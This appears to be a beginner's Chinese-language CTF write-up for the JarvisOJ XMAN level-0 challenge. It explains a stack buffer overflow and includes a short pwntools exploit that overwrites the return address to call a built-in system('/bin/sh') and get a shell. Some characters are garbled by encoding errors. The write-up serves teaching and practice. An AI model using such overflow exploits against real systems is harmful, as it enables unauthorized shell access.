JarvisOj XMAN level-0

>純新手向,第一次做pwn的題,感覺非常難以下手,有很多的新知識,在接觸的過程中一點(diǎn)點(diǎn)的去學(xué)習(xí)。學(xué)習(xí)《匯編語言》(王爽)的寫法,只寫當(dāng)初在做這道題的時候用到的函數(shù)語法

思路WP

  • 該題是棧溢出的錯誤,首先使用ida打開在jarvisoj下載的文件,首先會注意到有main函數(shù),因?yàn)橛衏語言基礎(chǔ),所以先從main()函數(shù)開始,注意到main函數(shù)調(diào)用了vulner_function函數(shù),關(guān)注該函數(shù),發(fā)現(xiàn)該函數(shù)新建了一個字符串。
main.png

vulner.png
  • 通過打開stack of vulner_function可以發(fā)現(xiàn)長度為(+0x8-(-0x80)),一共為0x88大?。ㄍㄟ^buf的首地址到返回地址r)。


    buff.png
buff-r.png
  • 然后,該數(shù)組在read中用到,read的參數(shù)為:


    read.png
  • 可以看見傳入一個int類型,一個首地址 數(shù)組地址還有一個長度大小為nbyte的值,由此可知是要將一個最大長度為nbyte的數(shù)據(jù)傳入buf,但此時buf只有0x88,但由vulner_function函數(shù)可知該程序?qū)⒁粋€0x200ull的值傳入buf,因此棧溢出。

  • 同時程序中有callsystem,并且已經(jīng)有了“/bin/sh”,由此我們只需要將棧填滿并且將vulner_function的返回地址覆蓋為調(diào)用callsteam的地址,即可拿到shell,得到flag。


    callsystem.png

代碼

# -*- coding:utf-8 -*-
from pwn import *
sh = remote("pwn2.jarvisoj.com",9881) # 與服務(wù)器交互
# 填充
junk = ‘a(chǎn)‘*0x80
# 淹沒bp
fakebp = ‘a(chǎn)‘*8
syscall = 0x0000000000400596
payload = junk + fakebp + p64(syscall) # p64()對整數(shù)進(jìn)行打包
sh.send(payload)
sh.interactive() # 直接反彈shell進(jìn)行交互

解釋

remote():主要用作遠(yuǎn)程和服務(wù)器交互,返回一個類似連接對象
send():發(fā)送數(shù)據(jù),通過連接對象調(diào)用
interactive():反彈shell,達(dá)到交互的作用
p64():數(shù)字轉(zhuǎn)為字符串,在這里的作用即為將得到的地址轉(zhuǎn)換為字符串
payload通常用做關(guān)鍵的信息或者數(shù)據(jù)

結(jié)果

level0.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容